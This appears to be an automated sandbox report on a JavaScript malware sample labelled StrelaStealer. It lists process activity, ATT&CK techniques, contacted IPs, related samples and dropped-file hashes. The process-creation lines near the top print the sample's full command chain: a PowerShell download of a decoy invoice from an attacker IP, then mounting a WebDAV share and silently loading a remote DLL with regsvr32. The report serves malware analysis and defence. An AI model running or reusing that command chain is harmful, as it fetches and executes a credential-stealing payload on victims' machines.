Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15303669813820.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15303669813820.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
2254619394221055585.js	8%	Virustotal		Browse
2254619394221055585.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/;a	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 0000000F.00000003.1329951708.00000211E3AC0000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.15.dr, edb.log.15.dr	false		high
http://crl.ver)	svchost.exe, 0000000F.00000002.2563594231.00000211E3C00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.14.dr	false		high
https://www.adobe.co	ReaderMessages.11.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	edb.log.15.dr	false		high
http://193.143.1.205:8888/	net.exe, 0000000D.00000002.1336500002.000001759DA84000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.1336500002.000001759DA9E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.1336500002.000001759DA48000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/;a	net.exe, 0000000D.00000002.1336500002.000001759DA84000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588528
Start date and time:	2025-01-11 02:04:46 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 17s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	25
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	2254619394221055585.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/59@6/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 52.22.41.97, 3.219.243.226, 3.233.129.217, 52.6.155.20, 172.64.41.3, 162.159.61.3, 184.28.90.27, 199.232.214.172, 2.16.168.105, 2.16.168.107, 23.209.209.135, 2.22.242.123, 2.22.242.11, 13.107.246.45, 20.12.23.50, 104.78.188.188
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, time.windows.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
20:05:43	API Interceptor	22x Sleep call for process: powershell.exe modified
20:05:47	API Interceptor	1x Sleep call for process: net.exe modified
20:05:47	API Interceptor	2x Sleep call for process: svchost.exe modified
20:05:59	API Interceptor	3x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	6515707756641447.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	16433207582849010802.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2937924646314313784.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1709323591581122310.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	36522792260104347.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	31244102191071522677.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3141714165326508962.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	4623256121503424814.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	15315323282846423758.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2581826545127854631.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	2937924646314313784.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	31244102191071522677.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	3141714165326508962.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	4623256121503424814.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	15315323282846423758.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	395815050212839547.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	525931685256721403.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	217216328232499881.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	82691949257725140.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1187225758523111660.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	6515707756641447.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	16433207582849010802.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	326391126385512788.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2937924646314313784.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1709323591581122310.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	36522792260104347.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	31244102191071522677.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3141714165326508962.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	9742962732217849.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	5949401323954377.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7066938077363009
Encrypted:	false
SSDEEP:	1536:2JPJJ5JdihkWB/U7mWz0FujGRFDp3w+INKEbx9jzW9KHSjoN2jucfh11AoYQ6VqE:2JIB/wUKUKQncEmYRTwh0o
MD5:	747C9F0E8769A762C7D887AEFF121DC5
SHA1:	F194B75B94CCFFA8FE634BA9FB343FBFF8D94103
SHA-256:	47EF4962AA3C2161DC69624D63A5BDB332C3CBDCA99F47FE62F6784C802E56BA
SHA-512:	E2F502F6F66F3DBEEC53B8CEAB740B743B2296DEF90A740CC411EC025E33B26BBB19349845E006FF14895414AE4163EE9BCA4DE493E4E8B3A6D09B5E3264D88A
Malicious:	false
Preview:	...........@..@.+...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................u.f!.Lz3.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x78df5522, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.789960018313985
Encrypted:	false
SSDEEP:	1536:rSB2ESB2SSjlK/JvED2y0IEWBqbMo5g5FYkr3g16k42UPkLk+kq+UJ8xUJoU+dzV:razaPvgurTd42UgSii
MD5:	00B57305A8AC8F754BF0F63E435EB12A
SHA1:	E71C2FA166614781E3B64FEABAD4963EC592CDFB
SHA-256:	70E1FC1E852E8544F037BB0106F166850492E0E8E89F6E6425A73171AEB4AB79
SHA-512:	76B9700C009DAB4F29ABD7208EAFA933B5E52F8D500937F90203EC7875DDE694B9D723287A94ED11160A5067FBA5DC7C92D5A0FAB65A4A8755D113C87EAD9A84
Malicious:	false
Preview:	x.U"... ...............X\...;...{......................0.`.....42...{5./....}..h.b.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........+...{...............................................................................................................................................................................................2...{..................................L.B./....}..................#.../....}...........................#......h.b.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08182645516831169
Encrypted:	false
SSDEEP:	3:KYe9Xrilqt/57Dek3JEOgkx1tallEqW3l/TjzzQ/t:Kz93R3tEc0md8/
MD5:	DD3B43F87F99CACDF029694822D85ABA
SHA1:	728E1DCDA15A18A5B34CECE7CC2C7E7F318702C8
SHA-256:	83C02C8C7377835E25C816B5E37797E382A131FCC0C6484A79528B00246A00AB
SHA-512:	E09D24790D7EE5260DE0A040148ADFEFC775FB8B3BB20F9FB65B18DA4F6F8AD73DC28A6E10EB482C8C66CFD4DF094F9A69E2CBF55BDC1E31C111F3EEB6878524
Malicious:	false
Preview:	I.......................................;...{../....}..42...{5.........42...{5.42...{5...Y.42...{59................#.../....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.1770854445613175
Encrypted:	false
SSDEEP:	6:iO4qVBSS3+q2PcNwi2nKuAl9OmbnIFUtSqVB42mWZmwsqVB42NVkwOcNwi2nKuAR:7nBj+vLZHAahFUtZB42mW/LB42NV54ZC
MD5:	EFF1B503B4FF770F2235CDB99501DFF9
SHA1:	279C54B4DB67B5F89B6476A1FA0F467D7B30BB64
SHA-256:	E9AFEE4CFDA67F3AE3131DB6D4BDB5F2A54E1882E85A5CEEF52AB76CC42AD3BC
SHA-512:	EBB39248B9938BE49E2BA00C9BE0589D11971A5274FA691C9CC1A31DB48EA302229DB604DC702BB61DCD610EA679032C2ACF56897316633E479AC708C47C76DA
Malicious:	false
Preview:	2025/01/10-20:05:47.056 1dcc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-20:05:47.058 1dcc Recovering log #3.2025/01/10-20:05:47.058 1dcc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.1770854445613175
Encrypted:	false
SSDEEP:	6:iO4qVBSS3+q2PcNwi2nKuAl9OmbnIFUtSqVB42mWZmwsqVB42NVkwOcNwi2nKuAR:7nBj+vLZHAahFUtZB42mW/LB42NV54ZC
MD5:	EFF1B503B4FF770F2235CDB99501DFF9
SHA1:	279C54B4DB67B5F89B6476A1FA0F467D7B30BB64
SHA-256:	E9AFEE4CFDA67F3AE3131DB6D4BDB5F2A54E1882E85A5CEEF52AB76CC42AD3BC
SHA-512:	EBB39248B9938BE49E2BA00C9BE0589D11971A5274FA691C9CC1A31DB48EA302229DB604DC702BB61DCD610EA679032C2ACF56897316633E479AC708C47C76DA
Malicious:	false
Preview:	2025/01/10-20:05:47.056 1dcc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-20:05:47.058 1dcc Recovering log #3.2025/01/10-20:05:47.058 1dcc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.120511792548286
Encrypted:	false
SSDEEP:	6:iO4qVIuFlyq2PcNwi2nKuAl9Ombzo2jMGIFUtSqV721ZmwsqVuKlRkwOcNwi2nK3:7nIuOvLZHAa8uFUtZ721/L154ZHAa8RJ
MD5:	BD06CE21BF374E8479549228B0A98C7C
SHA1:	ACBEE2FB2F45989C6D9F48E5E02058B6C4DEE79E
SHA-256:	8708113355AE11FF650BA0CD6DE80B1DCE93F68E0CDE554F572053417D566B3D
SHA-512:	806DAC369CC02089B66E99F414993821B9698A900D4A3A6D9583D137663A4420E81F59044BE5D556F696BA3AC71BBCFA45F59CEE774E9AD90BCD302FDF30E7A3
Malicious:	false
Preview:	2025/01/10-20:05:47.131 1e10 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-20:05:47.132 1e10 Recovering log #3.2025/01/10-20:05:47.133 1e10 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.120511792548286
Encrypted:	false
SSDEEP:	6:iO4qVIuFlyq2PcNwi2nKuAl9Ombzo2jMGIFUtSqV721ZmwsqVuKlRkwOcNwi2nK3:7nIuOvLZHAa8uFUtZ721/L154ZHAa8RJ
MD5:	BD06CE21BF374E8479549228B0A98C7C
SHA1:	ACBEE2FB2F45989C6D9F48E5E02058B6C4DEE79E
SHA-256:	8708113355AE11FF650BA0CD6DE80B1DCE93F68E0CDE554F572053417D566B3D
SHA-512:	806DAC369CC02089B66E99F414993821B9698A900D4A3A6D9583D137663A4420E81F59044BE5D556F696BA3AC71BBCFA45F59CEE774E9AD90BCD302FDF30E7A3
Malicious:	false
Preview:	2025/01/10-20:05:47.131 1e10 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-20:05:47.132 1e10 Recovering log #3.2025/01/10-20:05:47.133 1e10 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\3dd2b44e-2438-486d-9a1e-2e2430cb2830.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.9729052853641855
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqbsBdOg2H2caq3QYiubSpDyP7E4T3y:Y2sRdsldMHJ3QYhbSpDa7nby
MD5:	FA5158ED3B0C89A1B4C0C0F4467A1EBC
SHA1:	39545D652EF94A5BC34DF1580F80C44630914F1E
SHA-256:	8786F0965BD568F76FB2438610A402842314C43B09B0D5024E89D0E25E86FB9D
SHA-512:	987B436CEC95F84BF44C6EB5631A68FD1FE8F035A53386ED196746AD91AFB683C296FC3864844209474F974C374FBDFC5982E35478F7B2C51A515EED648A4E85
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381117559735002","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":137465},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\6663f692-46a6-4cb7-80a6-77f61cbd73b6.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF454da3.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.237357807278524
Encrypted:	false
SSDEEP:	96:CwNwpDGHqPySfkcr2smSX8I2OQCDh28wDtP9AooSika:CwNw1GHqPySfkcigoO3h28ytP9AJSika
MD5:	4F32FA04F79B26E08FDD51F732633733
SHA1:	8CD3512E551657CAB9458CC4E85014B217CC43CD
SHA-256:	49A8AFFC0812BD2DAD1A089412593E21F58B625562068CCFFE28A964ECBD96B5
SHA-512:	EA59727005B0C606F5A4A42C4473AA8A0B26049C306CB53F2279456B1C391F0F5AFB05C92F02AE38D9D7597C86628DC41E46B64345099A446AE9E007C37D0CB7
Malicious:	false
Preview:	...#................version.1..namespace-.aw.o................next-map-id.1.Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.0I.$.r................next-map-id.2.Snamespace-9a9aa6d6_c307_4dda_b6c0_dc91084c8e68-https://rna-v2-resource.acrobat.com/.1!...r................next-map-id.3.Snamespace-1fbd9dc5_70a3_4975_91b4_966e0915c27a-https://rna-v2-resource.acrobat.com/.2..N.o................next-map-id.4.Pnamespace-0e0aed8d_6d6f_4be0_b28f_8e02158bc792-https://rna-resource.acrobat.com/.3.z.o................next-map-id.5.Pnamespace-52652c26_09c2_43f2_adf7_da56a1f00d32-https://rna-resource.acrobat.com/.4.{.^...............Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.C..r................next-map-id.6.Snamespace-3a89c6b0_72b9_411a_9e44_fa247f34ac91-https://rna-v2-resource.acrobat.com/.5.q._r................next-map-id.7.Snamespace-02b23955_9103_42e0_ba64_3f8683969652-https://rna-v2-resource.acrobat.com/.6..d.o..............

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.149685729809556
Encrypted:	false
SSDEEP:	6:iO4qV9yq2PcNwi2nKuAl9OmbzNMxIFUtSqVbZ1ZmwsqVBujRkwOcNwi2nKuAl9Ob:7nAvLZHAa8jFUtZbZ1/LE54ZHAa84J
MD5:	32FDD6E906B3DE5293A7ACBC24043649
SHA1:	317DE02C9F7DE68840550E9166D2BAF0CE2E15F2
SHA-256:	851857E8BD066AFD9B24B4185750DE32CAE26E7A2B213014AB1E34D8B07738BD
SHA-512:	ADE16001E0DF332C051A1301EB02F56F9E7B76E2106772AB6F13BCD88699E793E1866354D33C2C0236C8BAEC4B8896DF2F263B0C962D60F40BE7AA1A672C450D
Malicious:	false
